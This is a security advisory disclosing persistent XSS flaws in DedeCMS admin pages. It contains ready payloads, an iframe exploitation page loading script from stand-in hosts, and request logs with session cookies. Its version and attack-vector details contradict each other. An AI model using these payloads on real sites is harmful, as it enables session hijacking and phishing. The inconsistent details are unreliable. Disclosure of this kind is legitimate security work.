Document Title: =============== DedeCMS v7.5 SP2 - Multiple Persistent Web Vulnerabilities References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2195 Release Date: ============= 2020-04-09 Vulnerability Laboratory ID (VL-ID): ==================================== 2195 Common Vulnerability Scoring System: ==================================== 4.3 Vulnerability Class: ==================== Cross Site Scripting - Persistent Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== Welcome to use the most professional PHP website content management system in China-Zhimeng content management system, he will be your first choice for easy website building. Adopt XML name space style core templates: all templates are saved in file form, which provides great convenience for users to design templates and website upgrade transfers. The robust template tags provide strong support for webmasters to DIY their own websites. High-efficiency tag caching mechanism: Allows the caching of similar tags. When generating HTML, it helps to improve the reaction speed of the system and reduce the resources consumed by the system. (Copy of the homepage: http://www.dedecms.com/products/dedecms/downloads/) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered multiple persistent cross site vulnerabilities in the official DedeCMS v5.7 SP2 (UTF8) web-application. Affected Product(s): ==================== DesDev Inc. Product: DedeCMS - Content Management System v5.7 SP2 Vulnerability Disclosure Timeline: ================================== 2020-04-09: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Restricted authentication (user/moderator) - User privileges User Interaction: ================= Low User Interaction Disclosure Type: ================ Independent Security Research Technical Details & Description: ================================ Multiple persistent cross site scripting vulnerabilities has been discovered in the official DedeCMS v5.7 SP2 UTF8 web-application. The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application requests from the application-side. The persistent script code inject web vulnerabilities are located in the `activepath`, `keyword`, `tag`, `fmdo=x&filename`, `CKEditor` and `CKEditorFuncNum`parameters of the `file_pic_view.php`, `file_manage_view.php`, `tags_main.php`, `select_media.php`, `media_main.php` files. The attack vector of the vulnerability is non-persistent and the request method to inject is POST. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected or connected application modules. Request Method(s): [+] POST Vulnerable File(s): [+] file_pic_view.php [+] file_manage_view.php [+] tags_main.php [+] select_media.php [+] media_main.php Vulnerable Parameter(s): [+] tag [+] keyword [+] activepath [+] fmdo=move&filename & fmdo=edit&filename [+] CKEditor & CKEditor=body&CKEditorFuncNum Proof of Concept (PoC): ======================= The web vulnerabilities can be exploited by remote attackers with privileged user account and with low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Request: Examples https://test23.localhost:8080/dede/file_manage_view.php?fmdo=move&filename=test&activepath=%2Fuploads https://test23.localhost:8080/dede/tags_main.php?tag=&orderby=total&orderway=desc https://test23.localhost:8080/include/dialog/select_media.php?CKEditor=body&CKEditorFuncNum=2&langCode=en PoC: Payload ".>"<img>"%20<img src=[Evil.Domain]/[Evil.Source].* onload=alert(document.domain)> >"%20<"<img="" src="https:/www.vulnerability-lab.com/gfx/logo-header.png onload=alert(document.domain)"> >"><iframe src=evil.source onload=alert(document.domain)> %22%3E%3Ciframe%20src=%22https://vuln-lab.com/evil.js%22%3E %3E%22%3E%3Ciframe%20src=%22x%22%20onload=alert(document.domain)%3E%3Cimg%3E %3E%22%3Cimg%20src=%22[Evil.Source]%22%3E%3Cimg%20src=%22[Evil.Source]%22%3E PoC: Exploitation <title>DedeCMS v5.7 SP2 UTF8 - Multiple Non Persistent XSS PoCs</title> <iframe src="https://test23.localhost:8080/dede/file_pic_view.php?activepath=%2Fuploads%3E%22%3Cimg%20src=%22[Evil.Source]%22%3E%3Cimg%20src=%22[Evil.Source]%22%3E"> <iframe src="https://test23.localhost:8080/dede/file_manage_view.php?fmdo=move&filename=%3E%22%3E%3Ciframe%20src=%22x%22%20onload=alert(document.domain)%3E%3Cimg%3E&activepath=%2Fuploads"> <iframe src="https://test23.localhost:8080/dede/file_manage_view.php?fmdo=move&filename=test&activepath=%3E%22%3E%3Ciframe%20src=%22x%22%20onload=alert(document.domain)%3E%3Cimg%3E"> <iframe src="https://test23.localhost:8080/dede/tags_main.php?tag=pwnd&orderway=%22%3E%3Ciframe%20src=%22https://vuln-lab.com/evil.js%22%3E"> <iframe src="https://test23.localhost:8080/dede/tags_main.php?tag=%22%3E%3Ciframe%20src=%22https://vuln-lab.com/evil.js%22%3E&orderby=1&orderway="> <iframe src="https://test23.localhost:8080/include/dialog/select_media.php?CKEditor=>"><iframe src=evil.source onload=alert(document.domain)>body&CKEditorFuncNum=2&langCode=en"> <iframe src="https://test23.localhost:8080/include/dialog/select_media.php?CKEditor=body&CKEditorFuncNum=>"><iframe src=evil.source onload=alert(document.domain)>2&langCode=en"> ... --- PoC Session Logs [POST] --- (Some Examples ...) https://test23.localhost:8080/dede/media_main.php Host: test23.localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 152 Origin: https://test23.localhost:8080 Authorization: Basic dGVzdGVyMjM6Y2hhb3M2NjYhISE= Connection: keep-alive Referer: https://test23.localhost:8080/dede/media_main.php Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=2et4s8ep51lasddnshjcco5ji3; DedeUserID=1; DedeUserID__ckMd5=936f42b01c3c7958; DedeLoginTime=1586191031; DedeLoginTime__ckMd5=37af65fa4635a14f; ENV_GOBACK_URL=%2Fdede%2Fmedia_main.php keyword=>"%20<<img src=https://[Evil.Domain]/[Evil.Source].png>&mediatype=0&membertype=0&imageField.x=23&imageField.y=4 - POST: HTTP/2.0 200 OK server: nginx content-type: text/html; charset=utf-8 content-length: 1830 expires: Thu, 19 Nov 1981 08:52:00 GMT pragma: no-cache cache-control: private set-cookie: ENV_GOBACK_URL=%2Fdede%2Fmedia_main.php; expires=Mon, 06-Apr-2020 17:53:23 GMT; Max-Age=3600; path=/ vary: Accept-Encoding content-encoding: gzip x-powered-by: PHP/5.6.40, PleskLin X-Firefox-Spdy: h2 --- https://test23.localhost:8080/dede/file_pic_view.php ?activepath=%2Fuploads%2F>" <"<img+src%3Dhttps%3A%2F%2Fwww.vulnerability-lab.com%2Fgfx%2Flogo-header.png>&imageField.x=0&imageField.y=0 Host: test23.localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Authorization: Basic dGVzdGVyMjM6Y2hhb3M2NjYhISE= Connection: keep-alive Referer: https://test23.localhost:8080/dede/file_pic_view.php?activepath=&imageField.x=0&imageField.y=0 Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=2et4s8ep51lasddnshjcco5ji3; DedeUserID=1; DedeUserID__ckMd5=936f42b01c3c7958; DedeLoginTime=1586191031; DedeLoginTime__ckMd5=37af65fa4635a14f; ENV_GOBACK_URL=%2Fdede%2Fmedia_main.php%3Fdopost%3Dfilemanager - GET: HTTP/2.0 200 OK server: nginx content-type: text/html; charset=utf-8 x-powered-by: PHP/5.6.40 expires: Thu, 19 Nov 1981 08:52:00 GMT pragma: no-cache cache-control: private X-Firefox-Spdy: h2 --- https://test23.localhost:8080/include/dialog/select_media.php? CKEditor=>"><iframe src=evil.source onload=alert("1")>body&CKEditorFuncNum=>"><iframe src=evil.source onload=alert("2")>2&langCode=en Host: test23.localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Authorization: Basic dGVzdGVyMjM6Y2hhb3M2NjYhISE= Connection: keep-alive Cookie: PHPSESSID=2et4s8ep51lasddnshjcco5ji3; DedeUserID=1; DedeUserID__ckMd5=936f42b01c3c7958; DedeLoginTime=1586191031; DedeLoginTime__ckMd5=37af65fa4635a14f; ENV_GOBACK_URL=%2Fdede%2Ffeedback_main.php Upgrade-Insecure-Requests: 1 - GET: HTTP/2.0 200 OK server: nginx content-type: text/html; charset=utf-8 content-length: 1137 expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 pragma: no-cache vary: Accept-Encoding content-encoding: gzip x-powered-by: PHP/5.6.40, PleskLin X-Firefox-Spdy: h2 Reference(s): https://test23.localhost:8080/dede/media_main.php https://test23.localhost:8080/dede/tags_main.php https://test23.localhost:8080/dede/file_pic_view.php https://test23.localhost:8080/dede/file_manage_view.php https://test23.localhost:8080/include/dialog/select_media.php Solution - Fix & Patch: ======================= 1. Parse the content to disallow html / js and special chars on the affected input fields 2. Restrict the vulnerable paramter prevent injects via post method request 3. Secure the output location were the content is insecure sanitized delivered as output Security Risk: ============== The security risk of the application-side persistent cross site scripting web vulnerabilities in the different modules are estimated as medium. Credits & Authors: ================== Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M. Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 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